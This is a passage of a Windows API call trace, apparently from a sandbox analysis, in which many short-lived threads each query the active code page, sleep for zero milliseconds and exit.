Thread: id = 2613 os_tid = 0x2684 [0271.165] GetACP () returned 0x4e4 [0271.165] GetACP () returned 0x4e4 [0271.165] Sleep (dwMilliseconds=0x0) [0271.321] RtlExitUserThread (Status=0x0) Thread: id = 2614 os_tid = 0x2688 [0271.165] GetACP () returned 0x4e4 [0271.165] GetACP () returned 0x4e4 [0271.165] Sleep (dwMilliseconds=0x0) [0271.322] RtlExitUserThread (Status=0x0) Thread: id = 2615 os_tid = 0x268c [0271.166] GetACP () returned 0x4e4 [0271.166] GetACP () returned 0x4e4 [0271.166] Sleep (dwMilliseconds=0x0) [0271.323] RtlExitUserThread (Status=0x0) Thread: id = 2616 os_tid = 0x2690 [0271.166] GetACP () returned 0x4e4 [0271.166] GetACP () returned 0x4e4 [0271.166] Sleep (dwMilliseconds=0x0) [0271.323] RtlExitUserThread (Status=0x0) Thread: id = 2617 os_tid = 0x2694 [0271.167] GetACP () returned 0x4e4 [0271.167] GetACP () returned 0x4e4 [0271.167] Sleep (dwMilliseconds=0x0) [0271.324] RtlExitUserThread (Status=0x0) Thread: id = 2618 os_tid = 0x550 [0271.167] GetACP () returned 0x4e4 [0271.167] GetACP () returned 0x4e4 [0271.167] Sleep (dwMilliseconds=0x0) [0271.324] RtlExitUserThread (Status=0x0) Thread: id = 2619 os_tid = 0xdec [0271.168] GetACP () returned 0x4e4 [0271.168] GetACP () returned 0x4e4 [0271.168] Sleep (dwMilliseconds=0x0) [0271.325] RtlExitUserThread (Status=0x0) Thread: id = 2620 os_tid = 0xe48 [0271.168] GetACP () returned 0x4e4 [0271.168] GetACP () returned 0x4e4 [0271.168] Sleep (dwMilliseconds=0x0) [0271.325] RtlExitUserThread (Status=0x0) Thread: id = 2621 os_tid = 0xe4c [0271.169] GetACP () returned 0x4e4 [0271.169] GetACP () returned 0x4e4 [0271.169] Sleep (dwMilliseconds=0x0) [0271.326] RtlExitUserThread (Status=0x0) Thread: id = 2622 os_tid = 0xe50 [0271.169] GetACP () returned 0x4e4 [0271.169] GetACP () returned 0x4e4 [0271.170] Sleep (dwMilliseconds=0x0) [0271.327] RtlExitUserThread (Status=0x0) Thread: id = 2623 os_tid = 0xe54 [0271.170] GetACP () returned 0x4e4 [0271.170] GetACP () returned 0x4e4 [0271.170] Sleep (dwMilliseconds=0x0) [0271.336] RtlExitUserThread (Status=0x0) Thread: id = 2624 os_tid = 0xe58 [0271.171] GetACP () returned 0x4e4 [0271.171] GetACP () returned 0x4e4 [0271.171] Sleep (dwMilliseconds=0x0) [0271.336] RtlExitUserThread (Status=0x0) Thread: id = 2625 os_tid = 0xe5c [0271.171] GetACP () returned 0x4e4 [0271.171] GetACP () returned 0x4e4 [0271.171] Sleep (dwMilliseconds=0x0) [0271.337] RtlExitUserThread (Status=0x0) Thread: id = 2626 os_tid = 0xe60 [0271.172] GetACP () returned 0x4e4 [0271.172] GetACP () returned 0x4e4 [0271.172] Sleep (dwMilliseconds=0x0) [0271.338] RtlExitUserThread (Status=0x0) Thread: id = 2627 os_tid = 0xe64 [0271.339] GetACP () returned 0x4e4 [0271.339] GetACP () returned 0x4e4 [0271.339] Sleep (dwMilliseconds=0x0) [0271.397] RtlExitUserThread (Status=0x0) Thread: id = 2628 os_tid = 0xe68 [0271.340] GetACP () returned 0x4e4 [0271.340] GetACP () returned 0x4e4 [0271.340] Sleep (dwMilliseconds=0x0) [0271.398] RtlExitUserThread (Status=0x0) Thread: id = 2629 os_tid = 0xe6c [0271.340] GetACP () returned 0x4e4 [0271.340] GetACP () returned 0x4e4 [0271.340] Sleep (dwMilliseconds=0x0) [0271.398] RtlExitUserThread (Status=0x0) Thread: id = 2630 os_tid = 0xe70 [0271.341] GetACP () returned 0x4e4 [0271.341] GetACP () returned 0x4e4 [0271.341] Sleep (dwMilliseconds=0x0) [0271.436] RtlExitUserThread (Status=0x0) Thread: id = 2631 os_tid = 0xe74 [0271.341] GetACP () returned 0x4e4 [0271.341] GetACP () returned 0x4e4 [0271.341] Sleep (dwMilliseconds=0x0) [0271.436] RtlExitUserThread (Status=0x0) Thread: id = 2632 os_tid = 0xe78 [0271.341] GetACP () returned 0x4e4 [0271.341] GetACP () returned 0x4e4 [0271.342] Sleep (dwMilliseconds=0x0) [0271.437] RtlExitUserThread (Status=0x0) Thread: id = 2633 os_tid = 0xecc [0271.342] GetACP () returned 0x4e4 [0271.342] GetACP () returned 0x4e4 [0271.342] Sleep (dwMilliseconds=0x0) [0271.438] RtlExitUserThread (Status=0x0) Thread: id = 2634 os_tid = 0xed0 [0271.342] GetACP () returned 0x4e4 [0271.342] GetACP () returned 0x4e4 [0271.342] Sleep (dwMilliseconds=0x0) [0271.438] RtlExitUserThread (Status=0x0) Thread: id = 2635 os_tid = 0xed4 [0271.343] GetACP () returned 0x4e4 [0271.343] GetACP () returned 0x4e4 [0271.343] Sleep (dwMilliseconds=0x0) [0271.439] RtlExitUserThread (Status=0x0) Thread: id = 2636 os_tid = 0xed8 [0271.343] GetACP () returned 0x4e4 [0271.343] GetACP () returned 0x4e4 [0271.343] Sleep (dwMilliseconds=0x0) [0271.440] RtlExitUserThread (Status=0x0) Thread: id = 2637 os_tid = 0xedc [0271.344] GetACP () returned 0x4e4 [0271.344] GetACP () returned 0x4e4 [0271.344] Sleep (dwMilliseconds=0x0) [0271.440] RtlExitUserThread (Status=0x0) Thread: id = 2638 os_tid = 0xee0 [0271.344] GetACP () returned 0x4e4 [0271.344] GetACP () returned 0x4e4 [0271.344] Sleep (dwMilliseconds=0x0) [0271.441] RtlExitUserThread (Status=0x0) Thread: id = 2639 os_tid = 0xee4 [0271.345] GetACP () returned 0x4e4 [0271.345] GetACP () returned 0x4e4 [0271.345] Sleep (dwMilliseconds=0x0) [0271.441] RtlExitUserThread (Status=0x0) Thread: id = 2640 os_tid = 0xf38 [0271.345] GetACP () returned 0x4e4 [0271.345] GetACP () returned 0x4e4 [0271.345] Sleep (dwMilliseconds=0x0) [0271.442] RtlExitUserThread (Status=0x0) Thread: id = 2641 os_tid = 0xf3c [0271.346] GetACP () returned 0x4e4 [0271.346] GetACP () returned 0x4e4 [0271.346] Sleep (dwMilliseconds=0x0) [0271.443] RtlExitUserThread (Status=0x0) Thread: id = 2642 os_tid = 0xf40 [0271.347] GetACP () returned 0x4e4 [0271.347] GetACP () returned 0x4e4 [0271.347] Sleep (dwMilliseconds=0x0) [0271.443] RtlExitUserThread (Status=0x0) Thread: id = 2643 os_tid = 0xf44 [0271.347] GetACP () returned 0x4e4 [0271.347] GetACP () returned 0x4e4 [0271.347] Sleep (dwMilliseconds=0x0) [0271.444] RtlExitUserThread (Status=0x0) Thread: id = 2644 os_tid = 0xf48 [0271.348] GetACP () returned 0x4e4 [0271.348] GetACP () returned 0x4e4 [0271.348] Sleep (dwMilliseconds=0x0) [0271.445] RtlExitUserThread (Status=0x0) Thread: id = 2645 os_tid = 0xf4c [0271.348] GetACP () returned 0x4e4 [0271.348] GetACP () returned 0x4e4 [0271.348] Sleep (dwMilliseconds=0x0) [0271.445] RtlExitUserThread (Status=0x0) Thread: id = 2646 os_tid = 0xf50 [0271.348] GetACP () returned 0x4e4 [0271.349] GetACP () returned 0x4e4 [0271.349] Sleep (dwMilliseconds=0x0) [0271.446] RtlExitUserThread (Status=0x0) Thread: id = 2647 os_tid = 0xf54 [0271.447] GetACP () returned 0x4e4 [0271.447] GetACP () returned 0x4e4 [0271.447] Sleep (dwMilliseconds=0x0) [0271.553] RtlExitUserThread (Status=0x0) Thread: id = 2648 os_tid = 0xf58 [0271.447] GetACP () returned 0x4e4 [0271.448] GetACP () returned 0x4e4 [0271.448] Sleep (dwMilliseconds=0x0) [0271.554] RtlExitUserThread (Status=0x0) Thread: id = 2649 os_tid = 0xf5c [0271.448] GetACP () returned 0x4e4 [0271.448] GetACP () returned 0x4e4 [0271.448] Sleep (dwMilliseconds=0x0) [0271.555] RtlExitUserThread (Status=0x0) Thread: id = 2650 os_tid = 0xf60 [0271.461] GetACP () returned 0x4e4 [0271.461] GetACP () returned 0x4e4 [0271.461] Sleep (dwMilliseconds=0x0) [0271.594] RtlExitUserThread (Status=0x0) Thread: id = 2651 os_tid = 0xf64 [0271.461] GetACP () returned 0x4e4 [0271.461] GetACP () returned 0x4e4 [0271.461] Sleep (dwMilliseconds=0x0) [0271.594] RtlExitUserThread (Status=0x0) Thread: id = 2652 os_tid = 0xf68 [0271.462] GetACP () returned 0x4e4 [0271.462] GetACP () returned 0x4e4 [0271.462] Sleep (dwMilliseconds=0x0) [0271.595] RtlExitUserThread (Status=0x0) Thread: id = 2653 os_tid = 0xf6c [0271.462] GetACP () returned 0x4e4 [0271.462] GetACP () returned 0x4e4 [0271.462] Sleep (dwMilliseconds=0x0) [0271.595] RtlExitUserThread (Status=0x0) Thread: id = 2654 os_tid = 0xf70 [0271.463] GetACP () returned 0x4e4 [0271.463] GetACP () returned 0x4e4 [0271.463] Sleep (dwMilliseconds=0x0) [0271.596] RtlExitUserThread (Status=0x0) Thread: id = 2655 os_tid = 0xf74 [0271.463] GetACP () returned 0x4e4 [0271.464] GetACP () returned 0x4e4 [0271.464] Sleep (dwMilliseconds=0x0) [0271.596] RtlExitUserThread (Status=0x0) Thread: id = 2656 os_tid = 0xf78 [0271.464] GetACP () returned 0x4e4 [0271.464] GetACP () returned 0x4e4 [0271.464] Sleep (dwMilliseconds=0x0) [0271.597] RtlExitUserThread (Status=0x0) Thread: id = 2657 os_tid = 0xf7c [0271.464] GetACP () returned 0x4e4 [0271.464] GetACP () returned 0x4e4 [0271.465] Sleep (dwMilliseconds=0x0) [0271.597] RtlExitUserThread (Status=0x0) Thread: id = 2658 os_tid = 0xf80 [0271.465] GetACP () returned 0x4e4 [0271.465] GetACP () returned 0x4e4 [0271.465] Sleep (dwMilliseconds=0x0) [0271.598] RtlExitUserThread (Status=0x0) Thread: id = 2659 os_tid = 0xf84 [0271.466] GetACP () returned 0x4e4 [0271.466] GetACP () returned 0x4e4 [0271.466] Sleep (dwMilliseconds=0x0) [0271.599] RtlExitUserThread (Status=0x0) Thread: id = 2660 os_tid = 0xfd8 [0271.466] GetACP () returned 0x4e4 [0271.466] GetACP () returned 0x4e4 [0271.466] Sleep (dwMilliseconds=0x0) [0271.599] RtlExitUserThread (Status=0x0) Thread: id = 2661 os_tid = 0xfdc [0271.467] GetACP () returned 0x4e4 [0271.467] GetACP () returned 0x4e4 [0271.467] Sleep (dwMilliseconds=0x0) [0271.600] RtlExitUserThread (Status=0x0) Thread: id = 2662 os_tid = 0xfe0 [0271.467] GetACP () returned 0x4e4 [0271.467] GetACP () returned 0x4e4 [0271.467] Sleep (dwMilliseconds=0x0) [0271.600] RtlExitUserThread (Status=0x0) Thread: id = 2663 os_tid = 0xfe4 [0271.467] GetACP () returned 0x4e4 [0271.468] GetACP () returned 0x4e4 [0271.468] Sleep (dwMilliseconds=0x0) [0271.601] RtlExitUserThread (Status=0x0) Thread: id = 2664 os_tid = 0xfe8 [0271.468] GetACP () returned 0x4e4 [0271.468] GetACP () returned 0x4e4 [0271.468] Sleep (dwMilliseconds=0x0) [0271.602] RtlExitUserThread (Status=0x0) Thread: id = 2665 os_tid = 0xfec [0271.469] GetACP () returned 0x4e4 [0271.469] GetACP () returned 0x4e4 [0271.469] Sleep (dwMilliseconds=0x0) [0271.602] RtlExitUserThread (Status=0x0) Thread: id = 2666 os_tid = 0xff0 [0271.469] GetACP () returned 0x4e4 [0271.469] GetACP () returned 0x4e4 [0271.469] Sleep (dwMilliseconds=0x0) [0271.603] RtlExitUserThread (Status=0x0) Thread: id = 2667 os_tid = 0xff4 [0271.603] GetACP () returned 0x4e4 [0271.603] GetACP () returned 0x4e4 [0271.604] Sleep (dwMilliseconds=0x0) [0271.780] RtlExitUserThread (Status=0x0) Thread: id = 2668 os_tid = 0xff8 [0271.604] GetACP () returned 0x4e4 [0271.604] GetACP () returned 0x4e4 [0271.604] Sleep (dwMilliseconds=0x0) [0271.781] RtlExitUserThread (Status=0x0) Thread: id = 2669 os_tid = 0xffc [0271.604] GetACP () returned 0x4e4 [0271.604] GetACP () returned 0x4e4 [0271.604] Sleep (dwMilliseconds=0x0) [0271.782] RtlExitUserThread (Status=0x0) Thread: id = 2670 os_tid = 0xbe0 [0271.605] GetACP () returned 0x4e4 [0271.605] GetACP () returned 0x4e4 [0271.605] Sleep (dwMilliseconds=0x0) [0271.782] RtlExitUserThread (Status=0x0) Thread: id = 2671 os_tid = 0xc28 [0271.605] GetACP () returned 0x4e4 [0271.605] GetACP () returned 0x4e4 [0271.605] Sleep (dwMilliseconds=0x0) [0271.783] RtlExitUserThread (Status=0x0) Thread: id = 2672 os_tid = 0xb74 [0271.606] GetACP () returned 0x4e4 [0271.606] GetACP () returned 0x4e4 [0271.606] Sleep (dwMilliseconds=0x0) [0271.784] RtlExitUserThread (Status=0x0) Thread: id = 2673 os_tid = 0xc64 [0271.606] GetACP () returned 0x4e4 [0271.606] GetACP () returned 0x4e4 [0271.606] Sleep (dwMilliseconds=0x0) [0271.793] RtlExitUserThread (Status=0x0) Thread: id = 2674 os_tid = 0x8cc [0271.607] GetACP () returned 0x4e4 [0271.607] GetACP () returned 0x4e4 [0271.607] Sleep (dwMilliseconds=0x0) [0271.794] RtlExitUserThread (Status=0x0) Thread: id = 2675 os_tid = 0xc8c [0271.607] GetACP () returned 0x4e4 [0271.607] GetACP () returned 0x4e4 [0271.607] Sleep (dwMilliseconds=0x0) [0271.794] RtlExitUserThread (Status=0x0) Thread: id = 2676 os_tid = 0x390 [0271.607] GetACP () returned 0x4e4 [0271.607] GetACP () returned 0x4e4 [0271.607] Sleep (dwMilliseconds=0x0) [0271.795] RtlExitUserThread (Status=0x0) Thread: id = 2677 os_tid = 0xc90 [0271.608] GetACP () returned 0x4e4 [0271.608] GetACP () returned 0x4e4 [0271.608] Sleep (dwMilliseconds=0x0) [0271.796] RtlExitUserThread (Status=0x0) Thread: id = 2678 os_tid = 0xc94 [0271.608] GetACP () returned 0x4e4 [0271.608] GetACP () returned 0x4e4 [0271.608] Sleep (dwMilliseconds=0x0) [0271.796] RtlExitUserThread (Status=0x0) Thread: id = 2679 os_tid = 0xc98 [0271.609] GetACP () returned 0x4e4 [0271.609] GetACP () returned 0x4e4 [0271.609] Sleep (dwMilliseconds=0x0) [0271.797] RtlExitUserThread (Status=0x0) Thread: id = 2680 os_tid = 0x378 [0271.609] GetACP () returned 0x4e4 [0271.609] GetACP () returned 0x4e4 [0271.609] Sleep (dwMilliseconds=0x0) [0271.798] RtlExitUserThread (Status=0x0) Thread: id = 2681 os_tid = 0x5bc [0271.610] GetACP () returned 0x4e4 [0271.610] GetACP () returned 0x4e4 [0271.610] Sleep (dwMilliseconds=0x0) [0271.798] RtlExitUserThread (Status=0x0) Thread: id = 2682 os_tid = 0xcbc [0271.610] GetACP () returned 0x4e4 [0271.610] GetACP () returned 0x4e4 [0271.610] Sleep (dwMilliseconds=0x0) [0271.799] RtlExitUserThread (Status=0x0) Thread: id = 2683 os_tid = 0x47c [0271.610] GetACP () returned 0x4e4 [0271.610] GetACP () returned 0x4e4 [0271.610] Sleep (dwMilliseconds=0x0) [0271.799] RtlExitUserThread (Status=0x0) Thread: id = 2684 os_tid = 0x36c [0271.611] GetACP () returned 0x4e4 [0271.611] GetACP () returned 0x4e4 [0271.611] Sleep (dwMilliseconds=0x0) [0271.800] RtlExitUserThread (Status=0x0) Thread: id = 2685 os_tid = 0xcc0 [0271.611] GetACP () returned 0x4e4 [0271.611] GetACP () returned 0x4e4 [0271.611] Sleep (dwMilliseconds=0x0) [0271.800] RtlExitUserThread (Status=0x0) Thread: id = 2686 os_tid = 0xcd4 [0271.612] GetACP () returned 0x4e4 [0271.612] GetACP () returned 0x4e4 [0271.612] Sleep (dwMilliseconds=0x0) [0271.801] RtlExitUserThread (Status=0x0) Thread: id = 2687 os_tid = 0xcd8 [0271.802] GetACP () returned 0x4e4 [0271.802] GetACP () returned 0x4e4 [0271.802] Sleep (dwMilliseconds=0x0) [0271.948] RtlExitUserThread (Status=0x0) Thread: id = 2688 os_tid = 0xcdc [0271.802] GetACP () returned 0x4e4 [0271.802] GetACP () returned 0x4e4 [0271.802] Sleep (dwMilliseconds=0x0) [0271.949] RtlExitUserThread (Status=0x0) Thread: id = 2689 os_tid = 0xd14 [0271.803] GetACP () returned 0x4e4 [0271.803] GetACP () returned 0x4e4 [0271.803] Sleep (dwMilliseconds=0x0) [0271.949] RtlExitUserThread (Status=0x0) Thread: id = 2690 os_tid = 0xd18 [0271.803] GetACP () returned 0x4e4 [0271.803] GetACP () returned 0x4e4 [0271.803] Sleep (dwMilliseconds=0x0) [0271.950] RtlExitUserThread (Status=0x0) Thread: id = 2691 os_tid = 0xd1c [0271.803] GetACP () returned 0x4e4 [0271.804] GetACP () returned 0x4e4 [0271.804] Sleep (dwMilliseconds=0x0) [0271.950] RtlExitUserThread (Status=0x0) Thread: id = 2692 os_tid = 0x868 [0271.804] GetACP () returned 0x4e4 [0271.804] GetACP () returned 0x4e4 [0271.804] Sleep (dwMilliseconds=0x0) [0271.951] RtlExitUserThread (Status=0x0) Thread: id = 2693 os_tid = 0x940 [0271.805] GetACP () returned 0x4e4 [0271.805] GetACP () returned 0x4e4 [0271.805] Sleep (dwMilliseconds=0x0) [0271.951] RtlExitUserThread (Status=0x0) Thread: id = 2694 os_tid = 0x928 [0271.805] GetACP () returned 0x4e4 [0271.805] GetACP () returned 0x4e4 [0271.805] Sleep (dwMilliseconds=0x0) [0271.952] RtlExitUserThread (Status=0x0) Thread: id = 2695 os_tid = 0xb80 [0271.806] GetACP () returned 0x4e4 [0271.806] GetACP () returned 0x4e4 [0271.806] Sleep (dwMilliseconds=0x0) [0271.953] RtlExitUserThread (Status=0x0) Thread: id = 2696 os_tid = 0x8f4 [0271.806] GetACP () returned 0x4e4 [0271.806] GetACP () returned 0x4e4 [0271.807] Sleep (dwMilliseconds=0x0) [0271.953] RtlExitUserThread (Status=0x0) Thread: id = 2697 os_tid = 0xb78 [0271.807] GetACP () returned 0x4e4 [0271.807] GetACP () returned 0x4e4 [0271.807] Sleep (dwMilliseconds=0x0) [0271.954] RtlExitUserThread (Status=0x0) Thread: id = 2698 os_tid = 0xb7c [0271.808] GetACP () returned 0x4e4 [0271.808] GetACP () returned 0x4e4 [0271.808] Sleep (dwMilliseconds=0x0) [0271.954] RtlExitUserThread (Status=0x0) Thread: id = 2699 os_tid = 0xce8 [0271.808] GetACP () returned 0x4e4 [0271.808] GetACP () returned 0x4e4 [0271.808] Sleep (dwMilliseconds=0x0) [0271.955] RtlExitUserThread (Status=0x0) Thread: id = 2700 os_tid = 0xd20 [0271.809] GetACP () returned 0x4e4 [0271.809] GetACP () returned 0x4e4 [0271.809] Sleep (dwMilliseconds=0x0) [0271.955] RtlExitUserThread (Status=0x0) Thread: id = 2701 os_tid = 0xd7c [0271.809] GetACP () returned 0x4e4 [0271.809] GetACP () returned 0x4e4 [0271.809] Sleep (dwMilliseconds=0x0) [0271.956] RtlExitUserThread (Status=0x0) Thread: id = 2702 os_tid = 0xb54 [0271.810] GetACP () returned 0x4e4 [0271.810] GetACP () returned 0x4e4 [0271.810] Sleep (dwMilliseconds=0x0) [0271.956] RtlExitUserThread (Status=0x0) Thread: id = 2703 os_tid = 0x8c0 [0271.810] GetACP () returned 0x4e4 [0271.810] GetACP () returned 0x4e4 [0271.810] Sleep (dwMilliseconds=0x0) [0271.957] RtlExitUserThread (Status=0x0) Thread: id = 2704 os_tid = 0xcc8 [0271.810] GetACP () returned 0x4e4 [0271.810] GetACP () returned 0x4e4 [0271.810] Sleep (dwMilliseconds=0x0) [0271.957] RtlExitUserThread (Status=0x0) Thread: id = 2705 os_tid = 0xd24 [0271.811] GetACP () returned 0x4e4 [0271.811] GetACP () returned 0x4e4 [0271.811] Sleep (dwMilliseconds=0x0) [0271.958] RtlExitUserThread (Status=0x0) Thread: id = 2706 os_tid = 0x8bc [0271.811] GetACP () returned 0x4e4 [0271.812] GetACP () returned 0x4e4 [0271.812] Sleep (dwMilliseconds=0x0) [0271.958] RtlExitUserThread (Status=0x0) Thread: id = 2707 os_tid = 0x84c [0271.959] GetACP () returned 0x4e4 [0271.959] GetACP () returned 0x4e4 [0271.959] Sleep (dwMilliseconds=0x0) [0272.047] RtlExitUserThread (Status=0x0) Thread: id = 2708 os_tid = 0xd04 [0271.960] GetACP () returned 0x4e4 [0271.960] GetACP () returned 0x4e4 [0271.960] Sleep (dwMilliseconds=0x0) [0272.047] RtlExitUserThread (Status=0x0) Thread: id = 2709 os_tid = 0xc9c [0271.961] GetACP () returned 0x4e4 [0271.961] GetACP () returned 0x4e4 [0271.961] Sleep (dwMilliseconds=0x0) [0272.048] RtlExitUserThread (Status=0x0) Thread: id = 2710 os_tid = 0xdd8 [0271.961] GetACP () returned 0x4e4 [0271.961] GetACP () returned 0x4e4 [0271.961] Sleep (dwMilliseconds=0x0) [0272.048] RtlExitUserThread (Status=0x0) Thread: id = 2711 os_tid = 0xbf0 [0271.961] GetACP () returned 0x4e4 [0271.961] GetACP () returned 0x4e4 [0271.962] Sleep (dwMilliseconds=0x0) [0272.049] RtlExitUserThread (Status=0x0) Thread: id = 2712 os_tid = 0xbc8 [0271.962] GetACP () returned 0x4e4 [0271.962] GetACP () returned 0x4e4 [0271.962] Sleep (dwMilliseconds=0x0) [0272.049] RtlExitUserThread (Status=0x0) Thread: id = 2713 os_tid = 0xaf0 [0271.962] GetACP () returned 0x4e4 [0271.962] GetACP () returned 0x4e4 [0271.962] Sleep (dwMilliseconds=0x0) [0272.050] RtlExitUserThread (Status=0x0) Thread: id = 2714 os_tid = 0x5f0 [0271.963] GetACP () returned 0x4e4 [0271.963] GetACP () returned 0x4e4 [0271.963] Sleep (dwMilliseconds=0x0) [0272.050] RtlExitUserThread (Status=0x0) Thread: id = 2715 os_tid = 0x854 [0271.963] GetACP () returned 0x4e4 [0271.963] GetACP () returned 0x4e4 [0271.963] Sleep (dwMilliseconds=0x0) [0272.051] RtlExitUserThread (Status=0x0) Thread: id = 2716 os_tid = 0xbf4 [0271.964] GetACP () returned 0x4e4 [0271.964] GetACP () returned 0x4e4 [0271.964] Sleep (dwMilliseconds=0x0) [0272.052] RtlExitUserThread (Status=0x0) Thread: id = 2717 os_tid = 0x758 [0271.964] GetACP () returned 0x4e4 [0271.964] GetACP () returned 0x4e4 [0271.964] Sleep (dwMilliseconds=0x0) [0272.052] RtlExitUserThread (Status=0x0) Thread: id = 2718 os_tid = 0x838 [0271.965] GetACP () returned 0x4e4 [0271.965] GetACP () returned 0x4e4 [0271.965] Sleep (dwMilliseconds=0x0) [0272.053] RtlExitUserThread (Status=0x0) Thread: id = 2719 os_tid = 0xbc0 [0271.965] GetACP () returned 0x4e4 [0271.965] GetACP () returned 0x4e4 [0271.965] Sleep (dwMilliseconds=0x0) [0272.053] RtlExitUserThread (Status=0x0) Thread: id = 2720 os_tid = 0x1024 [0271.966] GetACP () returned 0x4e4 [0271.966] GetACP () returned 0x4e4 [0271.966] Sleep (dwMilliseconds=0x0) [0272.054] RtlExitUserThread (Status=0x0) Thread: id = 2721 os_tid = 0x1028 [0271.966] GetACP () returned 0x4e4 [0271.966] GetACP () returned 0x4e4 [0271.966] Sleep (dwMilliseconds=0x0) [0272.055] RtlExitUserThread (Status=0x0) Thread: id = 2722 os_tid = 0x102c [0271.966] GetACP () returned 0x4e4 [0271.966] GetACP () returned 0x4e4 [0271.967] Sleep (dwMilliseconds=0x0) [0272.055] RtlExitUserThread (Status=0x0) Thread: id = 2723 os_tid = 0x1030 [0271.967] GetACP () returned 0x4e4 [0271.967] GetACP () returned 0x4e4 [0271.967] Sleep (dwMilliseconds=0x0) [0272.056] RtlExitUserThread (Status=0x0) Thread: id = 2724 os_tid = 0x1034 [0271.967] GetACP () returned 0x4e4 [0271.967] GetACP () returned 0x4e4 [0271.967] Sleep (dwMilliseconds=0x0) [0272.056] RtlExitUserThread (Status=0x0) Thread: id = 2725 os_tid = 0x1038 [0271.968] GetACP () returned 0x4e4 [0271.968] GetACP () returned 0x4e4 [0271.968] Sleep (dwMilliseconds=0x0) [0272.057] RtlExitUserThread (Status=0x0) Thread: id = 2726 os_tid = 0x103c [0271.968] GetACP () returned 0x4e4 [0271.968] GetACP () returned 0x4e4 [0271.968] Sleep (dwMilliseconds=0x0) [0272.057] RtlExitUserThread (Status=0x0) Thread: id = 2727 os_tid = 0x1040 [0272.059] GetACP () returned 0x4e4 [0272.059] GetACP () returned 0x4e4 [0272.059] Sleep (dwMilliseconds=0x0) [0272.155] RtlExitUserThread (Status=0x0) Thread: id = 2728 os_tid = 0x1044 [0272.060] GetACP () returned 0x4e4 [0272.060] GetACP () returned 0x4e4 [0272.060] Sleep (dwMilliseconds=0x0) [0272.155] RtlExitUserThread (Status=0x0) Thread: id = 2729 os_tid = 0x1048 [0272.060] GetACP () returned 0x4e4 [0272.060] GetACP () returned 0x4e4 [0272.060] Sleep (dwMilliseconds=0x0) [0272.156] RtlExitUserThread (Status=0x0) Thread: id = 2730 os_tid = 0x104c [0272.061] GetACP () returned 0x4e4 [0272.061] GetACP () returned 0x4e4 [0272.061] Sleep (dwMilliseconds=0x0) [0272.156] RtlExitUserThread (Status=0x0) Thread: id = 2731 os_tid = 0x1050 [0272.062] GetACP () returned 0x4e4 [0272.062] GetACP () returned 0x4e4 [0272.062] Sleep (dwMilliseconds=0x0) [0272.157] RtlExitUserThread (Status=0x0) Thread: id = 2732 os_tid = 0x1054 [0272.062] GetACP () returned 0x4e4 [0272.062] GetACP () returned 0x4e4 [0272.062] Sleep (dwMilliseconds=0x0) [0272.157] RtlExitUserThread (Status=0x0) Thread: id = 2733 os_tid = 0x1058 [0272.063] GetACP () returned 0x4e4 [0272.063] GetACP () returned 0x4e4 [0272.063] Sleep (dwMilliseconds=0x0) [0272.158] RtlExitUserThread (Status=0x0) Thread: id = 2734 os_tid = 0x105c [0272.063] GetACP () returned 0x4e4 [0272.063] GetACP () returned 0x4e4 [0272.064] Sleep (dwMilliseconds=0x0) [0272.159] RtlExitUserThread (Status=0x0) Thread: id = 2735 os_tid = 0x1060 [0272.064] GetACP () returned 0x4e4 [0272.064] GetACP () returned 0x4e4 [0272.064] Sleep (dwMilliseconds=0x0) [0272.159] RtlExitUserThread (Status=0x0) Thread: id = 2736 os_tid = 0x1064 [0272.065] GetACP () returned 0x4e4 [0272.065] GetACP () returned 0x4e4 [0272.065] Sleep (dwMilliseconds=0x0) [0272.160] RtlExitUserThread (Status=0x0) Thread: id = 2737 os_tid = 0x1068 [0272.065] GetACP () returned 0x4e4 [0272.065] GetACP () returned 0x4e4 [0272.065] Sleep (dwMilliseconds=0x0) [0272.161] RtlExitUserThread (Status=0x0) Thread: id = 2738 os_tid = 0x106c [0272.066] GetACP () returned 0x4e4 [0272.066] GetACP () returned 0x4e4 [0272.066] Sleep (dwMilliseconds=0x0) [0272.161] RtlExitUserThread (Status=0x0) Thread: id = 2739 os_tid = 0x1070 [0272.066] GetACP () returned 0x4e4 [0272.066] GetACP () returned 0x4e4 [0272.066] Sleep (dwMilliseconds=0x0) [0272.162] RtlExitUserThread (Status=0x0) Thread: id = 2740 os_tid = 0x10c4 [0272.067] GetACP () returned 0x4e4 [0272.067] GetACP () returned 0x4e4 [0272.067] Sleep (dwMilliseconds=0x0) [0272.163] RtlExitUserThread (Status=0x0) Thread: id = 2741 os_tid = 0x10c8 [0272.068] GetACP () returned 0x4e4 [0272.068] GetACP () returned 0x4e4 [0272.068] Sleep (dwMilliseconds=0x0) [0272.163] RtlExitUserThread (Status=0x0) Thread: id = 2742 os_tid = 0x10cc [0272.068] GetACP () returned 0x4e4 [0272.068] GetACP () returned 0x4e4 [0272.068] Sleep (dwMilliseconds=0x0) [0272.164] RtlExitUserThread (Status=0x0) Thread: id = 2743 os_tid = 0x10d0 [0272.069] GetACP () returned 0x4e4 [0272.069] GetACP () returned 0x4e4 [0272.069] Sleep (dwMilliseconds=0x0) [0272.164] RtlExitUserThread (Status=0x0) Thread: id = 2744 os_tid = 0x10d4 [0272.069] GetACP () returned 0x4e4 [0272.070] GetACP () returned 0x4e4 [0272.070] Sleep (dwMilliseconds=0x0) [0272.165] RtlExitUserThread (Status=0x0) Thread: id = 2745 os_tid = 0x10d8 [0272.070] GetACP () returned 0x4e4 [0272.070] GetACP () returned 0x4e4 [0272.070] Sleep (dwMilliseconds=0x0) [0272.165] RtlExitUserThread (Status=0x0) Thread: id = 2746 os_tid = 0x10dc [0272.071] GetACP () returned 0x4e4 [0272.071] GetACP () returned 0x4e4 [0272.071] Sleep (dwMilliseconds=0x0) [0272.166] RtlExitUserThread (Status=0x0) Thread: id = 2747 os_tid = 0x10e0 [0272.167] GetACP () returned 0x4e4 [0272.167] GetACP () returned 0x4e4 [0272.167] Sleep (dwMilliseconds=0x0) [0272.272] RtlExitUserThread (Status=0x0) Thread: id = 2748 os_tid = 0x10e4 [0272.168] GetACP () returned 0x4e4 [0272.168] GetACP () returned 0x4e4 [0272.168] Sleep (dwMilliseconds=0x0) [0272.273] RtlExitUserThread (Status=0x0) Thread: id = 2749 os_tid = 0x10e8 [0272.168] GetACP () returned 0x4e4 [0272.168] GetACP () returned 0x4e4 [0272.168] Sleep (dwMilliseconds=0x0) [0272.274] RtlExitUserThread (Status=0x0) Thread: id = 2750 os_tid = 0x10ec [0272.168] GetACP () returned 0x4e4 [0272.169] GetACP () returned 0x4e4 [0272.169] Sleep (dwMilliseconds=0x0) [0272.274] RtlExitUserThread (Status=0x0) Thread: id = 2751 os_tid = 0x10f0 [0272.169] GetACP () returned 0x4e4 [0272.169] GetACP () returned 0x4e4 [0272.169] Sleep (dwMilliseconds=0x0) [0272.275] 